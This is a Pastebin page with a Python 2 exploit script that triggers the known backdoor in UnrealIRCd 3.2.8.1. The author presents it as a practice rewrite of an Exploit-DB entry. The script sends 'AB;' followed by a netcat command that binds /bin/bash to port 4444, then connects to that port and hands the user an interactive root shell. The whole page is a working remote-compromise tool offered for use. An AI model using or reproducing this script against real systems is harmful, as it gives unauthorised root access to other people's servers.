Advertisement
The_Defalt

unrealIRC_backdoor_exploit.py

May 3rd, 2016
414
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.26 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. #This exploit will trigger a backdoor found in version 3.2.8.1 of unreal IRC
  4. #A hacker by the name of Defalt (me) is re-writing this exploit for practice
  5. #Original exploit (Exploit-DB) --> https://www.exploit-db.com/exploits/16922/
  6. #Happy hacking! -Defalt
  7.  
  8. import sys
  9. import socket
  10. import threading
  11. import time
  12.  
  13. if len(sys.argv) == 3:
  14.     pass
  15. else:
  16.     print "usage: ./exploit.py [TARGET IP] [TARGET PORT]"
  17.     print '\nThis exploit will trigger a backdoor in unreal IRC version 3.2.8.1\n'
  18.     print 'Original Exploit (Exploit-DB) --> https://www.exploit-db.com/exploits/16922'
  19.     sys.exit(1)
  20.  
  21. payload = "/bin/nc -l -p 4444 -e /bin/bash"
  22. target = sys.argv[1]
  23. port = sys.argv[2]
  24.  
  25. def trigger():
  26.     print '[*] Attempting to Trigger the Backdoor... '
  27.     trigger_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28.     try:
  29.         trigger_socket.connect((target, int(port)))
  30.     except Exception:
  31.         print '[!] Failed to Reach Target'
  32.         sys.exit(1)
  33.     trigger_socket.send("AB;" + payload + "\n")
  34.     trigger_socket.close()
  35.     return
  36.  
  37. def shell_sock_recv(sock, status):
  38.     sock.settimeout(3)
  39.     while 1:
  40.         if status == True:
  41.             try:
  42.                 print sock.recv(1024).strip()
  43.             except socket.timeout:
  44.                 pass
  45.             except Exception:
  46.                 return
  47.         else:
  48.             return
  49.  
  50. def handle():
  51.     shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  52.     trigger()
  53.     print '[*] Trigger Process Complete'
  54.     shell_status = True
  55.     try:
  56.         shell_socket.connect((target, 4444))
  57.     except Exception:
  58.         print '[!] Error Occured During Shell Spawn'
  59.         sys.exit(1)
  60.     shell_recv_thread = threading.Thread(target=shell_sock_recv, args=(shell_socket, shell_status))
  61.     shell_recv_thread.start()
  62.     print '[*] Root Shell Spawned, Pwnage Complete\n'
  63.     while 1:
  64.         try:
  65.             command = raw_input().strip()
  66.             if command == 'exit':
  67.                 print '[*] Shutting Down... (This may take a minute)'
  68.                 shell_status = False
  69.                 shell_socket.close()
  70.                 shell_recv_thread.join()
  71.                 sys.exit(1)
  72.             shell_socket.send(command + '\n')
  73.         except KeyboardInterrupt:
  74.             pass
  75.         except Exception:
  76.             print '[!] An Error Occured During Interaction'
  77.             shell_status = False
  78.             shell_socket.close()
  79.                         shell_recv_thread.join()
  80.                         sys.exit(1)
  81. try:
  82.     handle()
  83. except Exception:
  84.     sys.exit(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement